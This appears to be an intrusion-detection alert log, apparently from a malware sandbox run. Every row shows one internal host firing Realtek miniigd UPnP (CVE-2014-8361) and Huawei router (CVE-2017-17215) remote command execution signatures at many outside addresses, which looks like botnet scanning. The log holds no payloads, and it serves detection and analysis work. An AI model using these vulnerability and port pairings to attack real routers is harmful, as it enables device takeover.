07/20/24-23:01:05.592633	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41912	52869	192.168.2.13	197.160.210.166
07/20/24-23:01:12.517792	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46010	37215	192.168.2.13	157.121.161.205
07/20/24-23:01:32.232613	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56232	37215	192.168.2.13	157.191.93.255
07/20/24-23:01:14.502058	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41154	52869	192.168.2.13	204.46.251.166
07/20/24-23:01:06.812906	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33004	37215	192.168.2.13	197.9.47.161
07/20/24-23:01:05.009396	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55160	52869	192.168.2.13	191.251.66.209
07/20/24-23:01:06.895307	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48040	52869	192.168.2.13	204.210.9.128
07/20/24-23:01:02.678688	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43210	37215	192.168.2.13	157.69.83.103
07/20/24-23:01:03.816822	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53024	52869	192.168.2.13	168.214.55.135
07/20/24-23:01:04.908544	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55358	37215	192.168.2.13	41.81.13.239
07/20/24-23:01:32.267589	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37448	37215	192.168.2.13	197.51.120.46
07/20/24-23:01:05.820100	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	38148	52869	192.168.2.13	78.238.220.249
07/20/24-23:01:14.547545	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35620	52869	192.168.2.13	40.14.24.23
07/20/24-23:01:02.620832	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60948	37215	192.168.2.13	157.171.147.236
07/20/24-23:01:22.811587	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36204	37215	192.168.2.13	41.113.87.150
07/20/24-23:01:12.502954	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56354	37215	192.168.2.13	130.214.200.95
07/20/24-23:01:27.352817	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42974	52869	192.168.2.13	80.238.42.16
07/20/24-23:01:05.445612	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	57540	52869	192.168.2.13	51.230.131.89
07/20/24-23:01:02.613456	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51784	37215	192.168.2.13	197.33.169.56
07/20/24-23:01:19.927498	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51338	52869	192.168.2.13	197.89.201.126
07/20/24-23:00:59.023270	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59968	37215	192.168.2.13	157.184.88.81
07/20/24-23:01:14.513708	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54014	52869	192.168.2.13	118.95.117.249
07/20/24-23:01:25.413014	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37102	37215	192.168.2.13	41.203.145.177
07/20/24-23:01:27.286229	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38124	37215	192.168.2.13	23.140.135.200
07/20/24-23:01:32.199190	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43158	37215	192.168.2.13	157.119.225.136
07/20/24-23:01:14.566461	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	55530	52869	192.168.2.13	184.235.53.151
07/20/24-23:01:14.546163	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34056	52869	192.168.2.13	71.112.213.237
07/20/24-23:01:06.801543	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41412	37215	192.168.2.13	157.82.183.17
07/20/24-23:01:14.552891	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55230	52869	192.168.2.13	206.239.43.25
07/20/24-23:01:14.530874	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	38220	52869	192.168.2.13	172.54.67.32
07/20/24-23:01:32.259331	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45908	37215	192.168.2.13	62.83.108.146
07/20/24-23:01:20.429707	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35696	52869	192.168.2.13	46.178.0.255
07/20/24-23:01:14.520422	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46936	52869	192.168.2.13	160.89.205.146
07/20/24-23:01:36.808711	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38994	37215	192.168.2.13	197.253.243.30
07/20/24-23:01:06.805919	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43834	37215	192.168.2.13	41.154.65.167
07/20/24-23:01:07.284195	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41386	52869	192.168.2.13	76.214.57.173
07/20/24-23:01:04.907418	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57442	37215	192.168.2.13	150.36.84.70
07/20/24-23:01:14.543026	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39282	52869	192.168.2.13	13.5.180.251
07/20/24-23:01:14.520422	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57380	52869	192.168.2.13	121.35.219.146
07/20/24-23:01:14.556764	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	41648	52869	192.168.2.13	128.25.16.1
07/20/24-23:01:07.435626	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57950	52869	192.168.2.13	115.52.50.250
07/20/24-23:01:32.276800	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42208	37215	192.168.2.13	41.98.209.55
07/20/24-23:01:40.432669	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52162	37215	192.168.2.13	173.10.79.117
07/20/24-23:01:04.853128	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34030	37215	192.168.2.13	41.248.214.0
07/20/24-23:00:59.023356	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38738	37215	192.168.2.13	157.200.38.194
07/20/24-23:01:14.530241	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57274	52869	192.168.2.13	187.248.171.89
07/20/24-23:01:14.544463	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	46230	52869	192.168.2.13	43.240.11.124
07/20/24-23:01:20.444947	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55950	52869	192.168.2.13	80.223.139.197
07/20/24-23:01:36.785491	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48460	37215	192.168.2.13	49.206.51.10
07/20/24-23:01:27.360753	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41696	52869	192.168.2.13	97.115.201.63
07/20/24-23:01:36.780553	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54864	37215	192.168.2.13	119.6.92.121
07/20/24-23:01:07.526795	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39666	52869	192.168.2.13	128.25.16.1
07/20/24-23:01:19.911350	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39010	52869	192.168.2.13	5.243.194.6
07/20/24-23:01:15.000440	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52346	37215	192.168.2.13	197.204.132.126
07/20/24-23:01:25.389307	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34532	37215	192.168.2.13	157.18.96.193
07/20/24-23:01:27.263646	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35720	37215	192.168.2.13	157.140.210.124
07/20/24-23:01:12.492810	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53770	37215	192.168.2.13	60.190.79.185
07/20/24-23:01:12.517791	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41038	37215	192.168.2.13	41.2.186.51
07/20/24-23:01:36.862442	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53402	37215	192.168.2.13	197.242.121.162
07/20/24-23:00:59.022667	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55064	37215	192.168.2.13	197.145.164.25
07/20/24-23:01:04.855996	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32802	37215	192.168.2.13	197.49.222.44
07/20/24-23:01:25.397771	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52390	37215	192.168.2.13	41.195.191.119
07/20/24-23:01:19.172936	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49558	52869	192.168.2.13	67.52.151.110
07/20/24-23:01:32.192696	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34390	37215	192.168.2.13	197.148.179.37
07/20/24-23:00:59.019395	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35940	37215	192.168.2.13	157.3.21.190
07/20/24-23:01:32.276800	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39068	37215	192.168.2.13	157.191.94.21
07/20/24-23:01:06.801747	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45132	37215	192.168.2.13	204.248.242.165
07/20/24-23:01:14.521197	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	57054	52869	192.168.2.13	216.1.152.81
07/20/24-23:01:32.267589	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44082	37215	192.168.2.13	41.19.25.100
07/20/24-23:00:59.022701	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42216	37215	192.168.2.13	197.73.217.175
07/20/24-23:01:04.437880	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40114	52869	192.168.2.13	4.26.18.222
07/20/24-23:01:12.358593	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33712	37215	192.168.2.13	41.240.54.248
07/20/24-23:01:06.274684	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	55104	52869	192.168.2.13	153.33.151.65
07/20/24-23:01:15.000440	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37684	37215	192.168.2.13	157.157.248.97
07/20/24-23:01:08.392907	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48612	37215	192.168.2.13	157.101.21.17
07/20/24-23:01:20.503048	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51074	52869	192.168.2.13	46.222.69.48
07/20/24-23:01:07.575114	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	39206	52869	192.168.2.13	205.67.98.173
07/20/24-23:01:14.505885	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	34902	52869	192.168.2.13	100.58.169.89
07/20/24-23:01:22.810997	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40534	37215	192.168.2.13	197.33.52.28
07/20/24-23:00:59.022344	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54018	37215	192.168.2.13	46.185.21.147
07/20/24-23:01:14.536803	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	47374	52869	192.168.2.13	202.189.16.223
07/20/24-23:02:11.193011	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33250	52869	192.168.2.13	84.156.35.88
07/20/24-23:01:08.459274	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47400	37215	192.168.2.13	181.45.102.205
07/20/24-23:01:19.594022	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45210	52869	192.168.2.13	141.172.190.0
07/20/24-23:01:14.530241	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49450	52869	192.168.2.13	199.255.47.208
07/20/24-23:01:36.787101	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55328	37215	192.168.2.13	114.129.1.105
07/20/24-23:01:02.699257	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	41994	37215	192.168.2.13	25.125.187.17
07/20/24-23:01:06.800702	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54888	37215	192.168.2.13	103.212.24.174
07/20/24-23:01:08.381624	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36442	37215	192.168.2.13	197.49.223.204
07/20/24-23:01:08.369553	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34018	37215	192.168.2.13	180.201.70.9
07/20/24-23:01:04.892226	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42498	37215	192.168.2.13	41.204.123.230
07/20/24-23:01:25.456960	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40224	37215	192.168.2.13	41.112.105.26
07/20/24-23:01:04.180737	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40044	52869	192.168.2.13	219.121.3.137
07/20/24-23:01:06.901569	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36166	52869	192.168.2.13	87.8.107.75
07/20/24-23:01:04.209332	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48954	52869	192.168.2.13	162.160.111.35
07/20/24-23:01:12.485954	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48424	37215	192.168.2.13	197.108.235.134
07/20/24-23:01:20.306974	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40900	52869	192.168.2.13	168.200.41.227
07/20/24-23:00:59.020320	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40876	37215	192.168.2.13	157.40.102.40
07/20/24-23:01:25.391285	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52720	37215	192.168.2.13	197.37.233.45
07/20/24-23:01:02.661070	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47232	37215	192.168.2.13	157.38.182.214
07/20/24-23:01:04.853320	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33200	37215	192.168.2.13	197.54.201.107
07/20/24-23:01:32.250506	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36522	37215	192.168.2.13	157.171.85.198
07/20/24-23:01:05.763382	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38402	52869	192.168.2.13	170.201.104.199
07/20/24-23:01:12.504870	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47782	37215	192.168.2.13	157.253.226.135
07/20/24-23:00:59.021140	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45338	37215	192.168.2.13	41.44.46.164
07/20/24-23:01:27.354179	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40872	52869	192.168.2.13	140.192.14.130
07/20/24-23:01:04.602660	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50994	52869	192.168.2.13	211.159.248.236
07/20/24-23:01:14.998444	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44742	37215	192.168.2.13	197.9.161.134
07/20/24-23:01:12.553660	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54976	37215	192.168.2.13	157.205.125.4
07/20/24-23:01:22.754723	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59592	37215	192.168.2.13	41.214.227.104
07/20/24-23:01:36.846304	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33794	37215	192.168.2.13	197.163.90.176
07/20/24-23:01:36.798333	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33400	37215	192.168.2.13	41.206.228.120
07/20/24-23:00:59.019656	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51224	37215	192.168.2.13	157.200.98.141
07/20/24-23:01:04.858015	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	59500	37215	192.168.2.13	41.24.241.194
07/20/24-23:01:14.513708	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37464	52869	192.168.2.13	120.120.202.208
07/20/24-23:01:12.502954	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33836	37215	192.168.2.13	197.119.203.28
07/20/24-23:01:25.414531	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60580	37215	192.168.2.13	17.173.199.209
07/20/24-23:01:27.222234	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53412	37215	192.168.2.13	157.75.195.94
07/20/24-23:01:14.527949	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43912	52869	192.168.2.13	158.159.28.203
07/20/24-23:01:02.620832	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42890	37215	192.168.2.13	13.152.140.36
07/20/24-23:01:06.800702	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40006	37215	192.168.2.13	41.97.97.145
07/20/24-23:01:06.809008	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38832	37215	192.168.2.13	41.153.35.0
07/20/24-23:01:02.607576	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36190	37215	192.168.2.13	91.112.89.216
07/20/24-23:01:03.818275	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	48204	52869	192.168.2.13	82.246.219.130
07/20/24-23:01:02.612616	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36826	37215	192.168.2.13	197.164.134.229
07/20/24-23:01:05.464253	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37796	52869	192.168.2.13	183.89.166.139
07/20/24-23:01:25.390960	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45836	37215	192.168.2.13	117.238.157.130
07/20/24-23:01:04.429780	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44850	52869	192.168.2.13	160.89.205.146
07/20/24-23:01:04.848636	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55666	37215	192.168.2.13	41.103.47.251
07/20/24-23:01:02.607576	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49892	37215	192.168.2.13	159.11.170.80
07/20/24-23:01:04.787967	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33794	52869	192.168.2.13	143.19.210.21
07/20/24-23:01:12.374034	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46032	37215	192.168.2.13	41.113.99.236
07/20/24-23:01:12.356686	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33370	37215	192.168.2.13	161.250.92.81
07/20/24-23:01:32.260443	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52022	37215	192.168.2.13	41.117.251.239
07/20/24-23:01:03.668723	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34450	52869	192.168.2.13	112.104.240.153
07/20/24-23:01:06.823879	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46376	37215	192.168.2.13	41.235.134.113
07/20/24-23:01:04.907418	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46534	37215	192.168.2.13	197.218.97.111
07/20/24-23:01:04.177136	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	49766	52869	192.168.2.13	164.103.95.95
07/20/24-23:01:05.140118	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57426	52869	192.168.2.13	144.242.214.134
07/20/24-23:01:15.087650	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	44818	37215	192.168.2.13	44.184.39.95
07/20/24-23:01:27.354360	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58182	52869	192.168.2.13	114.155.105.80
07/20/24-23:01:17.786876	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35050	37215	192.168.2.13	197.60.200.134
07/20/24-23:01:25.388961	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56430	37215	192.168.2.13	197.228.125.161
07/20/24-23:01:14.998674	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35204	37215	192.168.2.13	197.57.31.235
07/20/24-23:01:04.744150	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51860	52869	192.168.2.13	81.71.223.221
07/20/24-23:01:32.199190	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34084	37215	192.168.2.13	41.108.63.191
07/20/24-23:01:02.607576	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50408	37215	192.168.2.13	41.174.42.115
07/20/24-23:01:32.202245	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42600	37215	192.168.2.13	197.35.150.239
07/20/24-23:01:27.293207	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57546	37215	192.168.2.13	157.246.213.216
07/20/24-23:01:27.361024	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50098	52869	192.168.2.13	141.20.36.175
07/20/24-23:01:22.748660	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56070	37215	192.168.2.13	41.122.143.112
07/20/24-23:01:08.392180	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52668	37215	192.168.2.13	41.171.243.41
07/20/24-23:01:36.792737	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53742	37215	192.168.2.13	41.16.59.154
07/20/24-23:01:06.801544	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35194	37215	192.168.2.13	48.93.90.162
07/20/24-23:01:14.530241	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37326	52869	192.168.2.13	97.132.111.117
07/20/24-23:01:02.678688	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34758	37215	192.168.2.13	41.120.70.192
07/20/24-23:01:14.512354	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34480	52869	192.168.2.13	199.170.141.174
07/20/24-23:01:22.737021	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42054	37215	192.168.2.13	122.211.99.32
07/20/24-23:00:59.021658	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39592	37215	192.168.2.13	157.156.49.184
07/20/24-23:01:04.892226	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37604	37215	192.168.2.13	197.7.205.229
07/20/24-23:01:32.232613	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47324	37215	192.168.2.13	25.130.20.81
07/20/24-23:01:04.908544	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53260	37215	192.168.2.13	119.59.179.103
07/20/24-23:01:25.388927	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38962	37215	192.168.2.13	157.116.99.51
07/20/24-23:01:02.669609	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48326	37215	192.168.2.13	70.116.57.7
07/20/24-23:01:25.414531	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58032	37215	192.168.2.13	41.91.190.22
07/20/24-23:01:36.783303	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41318	37215	192.168.2.13	197.160.103.208
07/20/24-23:01:06.806392	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58920	37215	192.168.2.13	157.213.89.135
07/20/24-23:01:12.484346	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59962	37215	192.168.2.13	157.27.82.47
07/20/24-23:01:27.222234	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44314	37215	192.168.2.13	197.31.69.67
07/20/24-23:01:04.794679	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	50598	52869	192.168.2.13	150.134.45.104
07/20/24-23:01:19.178100	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38094	52869	192.168.2.13	84.205.102.154
07/20/24-23:01:08.419092	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59286	37215	192.168.2.13	41.120.106.92
07/20/24-23:00:59.055046	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43024	37215	192.168.2.13	157.42.124.218
07/20/24-23:01:04.848605	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55820	37215	192.168.2.13	137.251.208.230
